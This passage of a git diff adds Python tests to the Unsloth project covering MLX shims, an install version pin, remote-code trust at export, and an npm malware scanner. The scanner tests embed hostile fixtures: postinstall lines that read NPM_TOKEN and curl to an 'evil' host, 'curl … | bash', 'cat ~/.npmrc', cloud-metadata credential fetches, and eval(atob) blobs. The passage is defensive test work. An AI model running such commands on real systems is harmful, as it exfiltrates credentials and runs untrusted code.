a second install keeps the same stub + stub = trl.GRPOTrainer + unsloth._install_mlx_trl_sft_shim() + assert trl.GRPOTrainer is stub + + +def test_mlx_rl_trainer_stub_is_lazy_import_safe(monkeypatch): + """Stubbing unsupported trl trainers must not resolve them: trl lazy-imports + pull torch, so on a torch-free MLX install a getattr probe would crash + `import unsloth`. The shim reads __all__/vars metadata and never triggers + trl's __getattr__ for a trainer it is about to replace.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.__all__ = ["SFTTrainer", "SFTConfig", "GRPOTrainer", "DPOTrainer"] + resolved = [] + + def _lazy_getattr(name): + resolved.append(name) + raise ImportError(f"lazy import of {name} would pull torch") + + trl.__getattr__ = _lazy_getattr + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() # must not raise despite the lazy trl + + # trainers declared in __all__ are stubbed WITHOUT ever resolving the real one + assert resolved == [] + for name in ("GRPOTrainer", "DPOTrainer"): + with pytest.raises(NotImplementedError): + getattr(trl, name)(model = None) + + +def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch): + """Any non-SFT trainer trl exports (e.g. a newer RLOOTrainer not in the fixed + list) must be stubbed too, so no torch trainer slips through on MLX.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.__all__ = ["SFTTrainer", "SFTConfig", "RLOOTrainer"] + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + with pytest.raises(NotImplementedError) as exc: + trl.RLOOTrainer(model = None) + assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value) + # SFT stays usable; only non-SFT trainers are stubbed + assert trl.SFTTrainer is unsloth.UnslothTrainer + + +def test_mlx_preserve_dataset_order_is_accepted(): + """preserve_dataset_order=True must be accepted (it is a real MLX config field), + not rejected as an unknown/unsupported argument.""" + unsloth = _import_mlx_unsloth() + args = unsloth.UnslothTrainingArguments( + output_dir = "mlx-out", + max_steps = 10, + preserve_dataset_order = True, + ) + assert getattr(args, "preserve_dataset_order", False) is True + + +def test_mlx_sftconfig_alias_keeps_trl_epoch_default(monkeypatch): + """`trl.SFTConfig` (aliased on MLX) keeps TRL's default training length: with + no explicit max_steps/num_train_epochs it runs TRL's 3 epochs, not the native + MLX 60-step default. An explicit length is authoritative and untouched.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + # no explicit length -> TRL epoch default (3 epochs, step cap disabled) + cfg = trl.SFTConfig(output_dir = "mlx-out") + assert cfg.num_train_epochs == 3 + assert cfg.max_steps == -1 + # explicit step / epoch counts stay exactly as written + assert trl.SFTConfig(output_dir = "mlx-out", max_steps = 17).max_steps == 17 + assert trl.SFTConfig(output_dir = "mlx-out", num_train_epochs = 2).num_train_epochs == 2 + + +def test_mlx_vision_collator_is_constructor_compatible(): + """Vision notebooks should be able to instantiate the collator placeholder.""" + unsloth = _import_mlx_unsloth() + + collator = unsloth.UnslothVisionDataCollator("model", "processor", flag = True) + + assert collator.model == "model" + assert collator.processor == "processor" + assert collator.kwargs == {"completion_only_loss": True, "flag": True} + + +def test_mlx_train_on_responses_only_returns_shared_mask_function(): + """The MLX public shim should expose the shared response-mask helper.""" + unsloth = _import_mlx_unsloth() + + class Tokenizer: + def __call__( + self, + text, + add_special_tokens = False, + ): + return types.SimpleNamespace( + input_ids = { + "": [1], + "": [2], + }[text] + ) + + def convert_tokens_to_ids(self, token): + return token + + mask_fn = unsloth.train_on_responses_only( + None, + instruction_part = "", + response_part = "", + tokenizer = Tokenizer(), + return_function = True, + ) + masked = mask_fn( + { + "input_ids": [[1, 10, 2, 20, 21, 1, 11]], + } + ) + + assert masked == {"labels": [[-100, -100, -100, 20, 21, -100, -100]]} + + last_mask_fn = unsloth.train_on_responses_only( + None, + instruction_part = "", + response_part = "", + tokenizer = Tokenizer(), + return_function = True, + last_response_only = True, + ) + last_masked = last_mask_fn( + { + "input_ids": [[1, 10, 2, 20, 1, 11, 2, 30]], + } + ) + + assert last_masked == {"labels": [[-100, -100, -100, -100, -100, -100, -100, 30]]} + + +def test_mlx_get_chat_template_uses_light_tokenizer_patch(monkeypatch): + """MLX notebooks should not import CUDA-heavy tokenizer/save helpers.""" + _import_mlx_unsloth() + from unsloth.chat_templates import get_chat_template + import unsloth_zoo.tokenizer_utils as tokenizer_utils + + class Tokenizer: + is_fast = True + padding_side = "right" + eos_token = "" + bos_token = "" + unk_token = "" + pad_token = "" + added_tokens_decoder = {} + + def fake_patch_tokenizer(model, tokenizer): + return model, tokenizer + + real_import = builtins.__import__ + + def guarded_import(name, *args, **kwargs): + if name.startswith("unsloth.models") or name.startswith("unsloth.save"): + raise AssertionError(f"unexpected CUDA-heavy import: {name}") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(tokenizer_utils, "patch_tokenizer", fake_patch_tokenizer) + monkeypatch.setattr(builtins, "__import__", guarded_import) + + tokenizer = get_chat_template( + Tokenizer(), + chat_template = ("{{ messages }}", ""), + ) + + assert tokenizer.chat_template == "{{ messages }}" + assert tokenizer.padding_side == "right" + + +def test_mlx_gpu_memory_stats_helper_shape(): + """The portable memory helper should return CUDA-shaped values.""" + unsloth = _import_mlx_unsloth() + + stats, used, total = unsloth.get_gpu_memory_stats() + + assert isinstance(stats.name, str) + assert hasattr(stats, "total_memory") + assert isinstance(used, float) + assert total > 0 + + +def test_mlx_torch_cuda_compatibility_shim(): + """Existing CUDA memory and move calls should run on MLX.""" + unsloth = _import_mlx_unsloth() + torch = pytest.importorskip("torch") + from transformers.tokenization_utils_base import BatchEncoding + + stats, used, total = unsloth.get_gpu_memory_stats() + cuda_stats = torch.cuda.get_device_properties(0) + + assert cuda_stats.name == stats.name + assert cuda_stats.total_memory == stats.total_memory + assert torch.cuda.get_device_name(0) == stats.name + assert torch.cuda.max_memory_reserved() == int(used * 1024 * 1024 * 1024) + assert torch.cuda.max_memory_allocated() == torch.cuda.max_memory_reserved() + # current (non-max) APIs report live active memory, not the peak high-water + # mark, and never exceed it. + assert 0 <= torch.cuda.memory_reserved() <= torch.cuda.max_memory_reserved() + assert torch.cuda.memory_allocated() == torch.cuda.memory_reserved() + assert torch.cuda.device_count() == 1 + assert torch.cuda.current_device() == 0 + assert torch.cuda.get_device_capability() == (0, 0) + assert total > 0 + + free_bytes, total_bytes = torch.cuda.mem_get_info() + assert total_bytes == int(total * 1024 * 1024 * 1024) + assert 0 <= free_bytes <= total_bytes + + torch.cuda.empty_cache() + torch.cuda.synchronize() + torch.cuda.reset_peak_memory_stats() + torch.cuda.set_device(0) + + tensor = torch.tensor([1, 2, 3]) + assert tensor.to("cuda") is tensor + assert tensor.cuda() is tensor + assert tensor.to(device = "cuda") is tensor + assert tensor.to("cuda", dtype = torch.float32).dtype == torch.float32 + + batch = BatchEncoding({"input_ids": tensor}) + assert batch.to("cuda") is batch + assert batch.to(device = "cuda") is batch diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py new file mode 100644 index 0000000000..c2ddfb14e2 --- /dev/null +++ b/tests/saving/test_llm_compressor_install_pin.py @@ -0,0 +1,112 @@ +"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that +install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted +range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled.""" + +from __future__ import annotations + +import ast +from pathlib import Path + +SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" + +_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL" + + +def _module() -> ast.Module: + return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY)) + + +def _get_function(name: str) -> ast.FunctionDef: + for node in ast.walk(_module()): + if isinstance(node, ast.FunctionDef) and node.name == name: + return node + raise AssertionError(f"Function {name} not found in save.py") + + +def _spec_value(): + for node in ast.walk(_module()): + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant): + if any( + isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets + ): + return node.value.value + return None + + +def _first_lineno(fn: ast.AST, predicate) -> int | None: + lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")] + return min(lines) if lines else None + + +def test_spec_is_a_bounded_pin() -> None: + spec = _spec_value() + assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope" + assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}" + # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release. + assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}" + + +def test_ceiling_blocks_inflated_versions() -> None: + """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch.""" + from packaging.requirements import Requirement + + spec = Requirement(_spec_value()).specifier + assert spec.contains("0.12.0"), "the current vetted release must resolve" + assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked" + assert not spec.contains("1.0.0"), "a new major must not be auto-installed" + assert not spec.contains( + "0.12.1" + ), "a higher in-range patch must be blocked (cap to the vetted patch)" + assert not spec.contains( + "0.12.999" + ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked" + + +def test_floor_stays_compatible_with_supported_torch() -> None: + """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4.""" + from packaging.requirements import Requirement + from packaging.version import Version + + req = Requirement(_spec_value()) + lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")] + assert lowers, "spec must declare a lower bound" + assert max(lowers) <= Version("0.6.0"), ( + f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); " + "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0." + ) + + +def test_install_command_uses_pinned_spec_not_bare_name() -> None: + fn = _get_function("install_llm_compressor") + # No argv list may pass the bare, unpinned package literal "llmcompressor". + for node in ast.walk(fn): + if isinstance(node, ast.List): + for elt in node.elts: + if isinstance(elt, ast.Constant) and elt.value == "llmcompressor": + raise AssertionError( + "install command must not pass an unpinned 'llmcompressor' literal; " + "use the bounded _LLM_COMPRESSOR_SPEC" + ) + names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)} + assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC" + + +def test_optout_env_gate_precedes_subprocess_install() -> None: + fn = _get_function("install_llm_compressor") + env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG) + assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor" + + def _is_check_call(n: ast.AST) -> bool: + return ( + isinstance(n, ast.Call) + and isinstance(n.func, ast.Attribute) + and n.func.attr == "check_call" + and isinstance(n.func.value, ast.Name) + and n.func.value.id == "subprocess" + ) + + install_line = _first_lineno(fn, _is_check_call) + assert install_line is not None, "expected a subprocess.check_call install in the function" + assert ( + env_line < install_line + ), "the auto-install opt-out must be evaluated before any package install runs" diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py new file mode 100644 index 0000000000..1d0acb7866 --- /dev/null +++ b/tests/saving/test_torchao_remote_code_consent.py @@ -0,0 +1,150 @@ +"""Regression tests for the export-time remote-code trust decision. + +FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable +trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model +that loads fine with built-in classes (and therefore skips the load-time consent scan) could +smuggle unvetted remote code that then runs at export. The export paths now derive +trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead. + +These run on CPU with no torch / unsloth import: they AST-extract the real helper from +unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust. +""" + +import ast +from pathlib import Path + +_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" +_SRC = _SAVE_PY.read_text(encoding = "utf-8") + + +def _load_helper(): + """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it.""" + tree = ast.parse(_SRC) + fn = next( + n + for n in tree.body + if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code" + ) + ns = {} + exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns) + return ns["_loaded_via_remote_code"] + + +_loaded_via_remote_code = _load_helper() + + +def _obj(module_name, **attrs): + """A throwaway instance whose class __module__ is `module_name`, plus given attributes.""" + cls = type("Fake", (), {}) + cls.__module__ = module_name + inst = cls() + for k, v in attrs.items(): + setattr(inst, k, v) + return inst + + +def test_builtin_class_is_not_remote_code(): + assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False + + +def test_transformers_modules_class_is_remote_code(): + assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True + + +def test_none_is_not_remote_code(): + assert _loaded_via_remote_code(None) is False + + +def test_none_module_is_not_remote_code(): + # A class whose __module__ is None must not raise AttributeError. + assert _loaded_via_remote_code(_obj(None)) is False + + +def test_auto_map_in_config_alone_does_not_grant_trust(): + # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT + # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass). + cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})() + assert ( + _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg)) + is False + ) + + +def test_peft_base_model_is_unwrapped(): + base = _obj("transformers_modules.acme.modeling_x") + peft = _obj("peft.peft_model", get_base_model = lambda: base) + assert _loaded_via_remote_code(peft) is True + + +def test_wrapper_model_attr_is_walked(): + inner = _obj("transformers_modules.acme.modeling_x") + wrapper = _obj("peft.peft_model", model = inner) + assert _loaded_via_remote_code(wrapper) is True + + +def test_wrapper_over_builtin_stays_false(): + inner = _obj("transformers.models.llama.modeling_llama") + wrapper = _obj("peft.peft_model", model = inner) + assert _loaded_via_remote_code(wrapper) is False + + +def test_processor_held_custom_tokenizer_is_detected(): + # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must + # descend into processor components or the export reload loses that approved trust. + tok = _obj("transformers_modules.acme.tokenization_x") + proc = _obj("transformers.processing_utils", tokenizer = tok) + assert _loaded_via_remote_code(proc) is True + + +def test_processor_held_custom_image_processor_is_detected(): + ip = _obj("transformers_modules.acme.image_processing_x") + proc = _obj("transformers.processing_utils", image_processor = ip) + assert _loaded_via_remote_code(proc) is True + + +def test_builtin_processor_with_builtin_components_stays_false(): + proc = _obj( + "transformers.processing_utils", + tokenizer = _obj("transformers.tokenization_utils_fast"), + image_processor = _obj("transformers.image_processing_utils"), + ) + assert _loaded_via_remote_code(proc) is False + + +def test_cyclic_wrappers_terminate(): + a = _obj("peft.peft_model") + b = _obj("peft.peft_model", model = a) + a.model = b + assert _loaded_via_remote_code(a) is False + + +# -- call-site assertions: the auto_map-derived trust is gone from every export path ----------- + + +def test_torchao_export_derives_trust_from_load_decision(): + assert "model_trust = _loaded_via_remote_code(model)" in _SRC + assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC + assert "trust_remote_code = model_trust" in _SRC + assert "trust_remote_code = tok_trust" in _SRC + # The staged-config auto_map scan that granted trust is removed. + assert 'if "auto_map" in json.load' not in _SRC + + +def test_compressed_and_gguf_lora_paths_drop_auto_map_trust(): + # No path derives a trust decision straight from config auto_map anymore, and no path + # collapses model and tokenizer trust into one flag. + assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC + assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC + assert "if _loaded_via_remote_code(model):" in _SRC # GGUF-LoRA converter flag + + +def test_compressed_export_keeps_model_and_tokenizer_trust_separate(): + # The subprocess gets one flag per component, so an approved custom tokenizer cannot + # enable an unapproved model's code during compressed quantization (or vice versa). + assert 'cmd.append("--trust-remote-code")' in _SRC + assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC + qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8") + assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc + assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc + # The model loads keep the model flag only. + assert "args.model, args.trust_remote_code)" in qsrc diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py index ec9af37785..35a34e2834 100644 --- a/tests/security/test_scan_npm_packages.py +++ b/tests/security/test_scan_npm_packages.py @@ -328,8 +328,9 @@ def _finding( fn, pattern, sev = snp.HIGH, + evidence = "", ): - return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern) + return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence) def test_norm_pkg_name_strips_version_keeps_scope(): @@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path): n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH]) assert n == 1 # dedup + MEDIUM excluded keys = snp._load_baseline(str(bl)) - assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys + assert snp._finding_key(findings[0]) in keys # MEDIUM below HIGH threshold -> not written. assert all(k[2] != "js-env-token" for k in keys) +def test_baseline_reopens_on_changed_evidence(tmp_path): + # Same package/file/pattern but changed flagged code must reopen: the key now + # includes an evidence hash, so a new payload cannot ride a reviewed entry. + bl = tmp_path / "bl.json" + listed = _finding( + "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH]) + baseline = snp._load_baseline(str(bl)) + + # The reviewed finding stays suppressed across a version bump (same evidence). + same = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + # A changed payload under the same package/file/pattern stays active. + changed = _finding( + "left-pad@9.9.9", + "package/dist/index.js", + "obfuscated-blob", + evidence = "fetch('http://evil')", + ) + active, suppressed = snp._partition_baseline([same, changed], baseline) + assert same in suppressed + assert changed in active + + +def test_obfuscated_blob_key_reopens_on_changed_tail(): + # A large blob's evidence hash binds the full match (via a digest when the + # snippet is truncated), so changing only the payload tail reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 2300 + old = f'eval("{head}{"B" * 300}")' + new = f'eval("{head}{"C" * 300}")' + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "obfuscated-blob" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "obfuscated-blob" + ][0] + assert "sha256:" in of.evidence + assert of.evidence != nf.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_js_fetch_eval_payload_tail_reopens_key(): + # The js-fetch-eval evidence digests the full containing line when the shown + # window truncates it, so a changed payload tail beyond the window reopens + # the key instead of riding the unchanged decoder head. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 40 + old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n" + new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n" + of = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval" + ][0] + nf = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_multiline_options_reopen(): + # A multi-line outbound call binds its option/header lines, so changing the + # headers/body on a continuation line reopens the cred-surface-host key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n" + old = url + " {headers: {a: 'old'}})\n" + new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_config_multiline_object_reopens(): + # A host-config object whose `{` is on a prior line still binds the whole + # object, so changing the path/headers on a following line reopens the key + # rather than riding the unchanged hostname line. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n" + ) + old = obj % "/latest/meta-data/iam/security-credentials/old" + new = obj % "/latest/meta-data/iam/security-credentials/evil" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def _host_config_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + + +def _host_finding(text): + return [ + f + for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text) + if f.pattern == "cred-surface-host (outbound)" + ][0] + + +def test_outbound_host_config_long_object_binds_tail(): + # A config object longer than the backward window still binds its tail, so a + # changed payload line well below the hostname reopens (not truncated away). + filler = "\n".join(f" opt{i}: {i}," for i in range(30)) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n" + + filler + + "\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_far_opener_binds(): + # The enclosing object's opener can sit well above the hostname line (a large + # options object whose `{` is many properties back). The backward scan must + # still reach it so a payload changed on an earlier property of the same object + # reopens, not just a change on the hostname line itself. + above = "\n".join(f" opt{i}: {i}," for i in range(20)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + changed = obj.replace("opt0: 0,", "opt0: 999,") + assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed)) + + +def test_outbound_host_config_forward_cap_measured_from_match(): + # With the opener near the backward-search limit, the forward group cap must be + # measured from the matched hostname line, not the opener, so the path that + # follows the hostname is still bound and a changed payload there reopens. + above = "\n".join(f" opt{i}: {i}," for i in range(198)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiple_contexts_all_bind(): + # The same contextual host can appear in more than one outbound form. Adding a + # separate host-config request beside an already-present URL for that host must + # reopen the key, not ride the unchanged URL evidence. + base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n" + extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n" + assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra)) + + +def test_outbound_host_config_opener_after_unmatched_closer_binds(): + # A leading unmatched `}` from a preceding block (its opener outside the + # backward window) must not drive depth negative and mask the host-config + # opener that follows; the object should still bind so a changed path reopens. + pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view + obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_close_then_open_same_line_binds(): + # Stronger than the previous case: the unmatched closer and the host-config + # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count + # nets that line to <= 0 and drops the trailing `{`, so the group would start at + # the hostname line and a changed path could ride the unchanged-hostname key. + # Order-aware reduction keeps the opener, so the path binds and a change reopens. + obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiline_template_literal_reopens(): + # A ) inside a multi-line backtick template literal must not close the call + # early; the options object after the template binds, so a changed header + # reopens rather than riding the unchanged host (a per-line string blanker + # cannot mask a template literal that spans lines). + old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n" + new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n" + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_cred_env_lifecycle_binds_whole_body(): + # cred-env-in-lifecycle evidence pins the whole script body, so a changed + # non-token line (echo safe -> curl exfil) reopens even with the token line + # unchanged. + def life(body): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f + for f in snp.scan_package_json(pkg, "package/package.json", text) + if "cred-env-in-lifecycle" in f.pattern + ][0] + + safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe") + evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil") + assert "body-sha256:" in safe.evidence + assert snp._finding_key(safe) != snp._finding_key(evil) + + +def _lifecycle_finding(body, frag): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern + ][0] + + +def test_lifecycle_fetch_exec_bounds_body_but_reopens(): + # The whole install script is bound by a digest, but the stored evidence is a + # bounded matched snippet plus that digest, not the full body, so writing the + # baseline on a multi-KiB install script stays small while a change to any line + # (even far below the fetch-exec line) reopens the finding. + pad = "# pad\n" * 5000 + old = "curl https://x.sh | bash\n" + pad + "echo done_old" + new = "curl https://x.sh | bash\n" + pad + "echo done_evil" + of = _lifecycle_finding(old, "lifecycle-fetch-exec") + nf = _lifecycle_finding(new, "lifecycle-fetch-exec") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) # snippet + digest, not the whole body + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_cred_path_lifecycle_bounds_body_but_reopens(): + # cred-path-in-lifecycle is bounded the same way: a snippet around the matched + # credential path plus the whole-body digest, so a far-line change reopens + # without storing the entire script body in the baseline. + pad = "# pad\n" * 5000 + old = "cat ~/.npmrc\n" + pad + "echo old" + new = "cat ~/.npmrc\n" + pad + "echo evil" + of = _lifecycle_finding(old, "cred-path-in-lifecycle") + nf = _lifecycle_finding(new, "cred-path-in-lifecycle") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_regex_literal_does_not_close_group_early(): + # A ) inside a JS regex literal must not close the outbound call early; the + # options object after the regex binds, so a changed header reopens. + old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n" + new = old.replace("old", "evil") + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_evidence_overflow_binds_context_and_counts_all_matches(): + # Every match past the display cap is still counted in the overflow digest AND + # bound by its logical-line context, so changing the payload on an over-cap line + # reopens (the digest is not just the regex match text, and the iterator is not + # truncated before reaching it). + n = snp._MAX_EVIDENCE_MATCHES + mk = lambda which: "".join( + f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n" + for i in range(n + 5) + ) + e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN) + e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN) + assert "more) sha256:" in e1 + assert snp._evidence_hash(e1) != snp._evidence_hash(e2) + + +def test_evidence_caps_match_count_with_digest_remainder(): + # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one + # digest so a huge/minified file cannot build an unbounded evidence string, + # while a changed match count past the cap still reopens. + over = snp._MAX_EVIDENCE_MATCHES + 20 + base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over)) + ev = snp._evidence(base, snp._JS_ENV_TOKEN) + assert "more) sha256:" in ev + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans + less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1)) + assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN)) + + +def test_evidence_streams_overflow_count_is_exact(): + # The overflow matches are streamed from finditer (not collected into a list + # before the cap), so the "(+N more)" count must still equal the exact number of + # matches past the display cap for a large input, and the shown spans stay + # bounded to the cap. + extra = 1000 + total = snp._MAX_EVIDENCE_MATCHES + extra + body = "".join(f"x{i} = 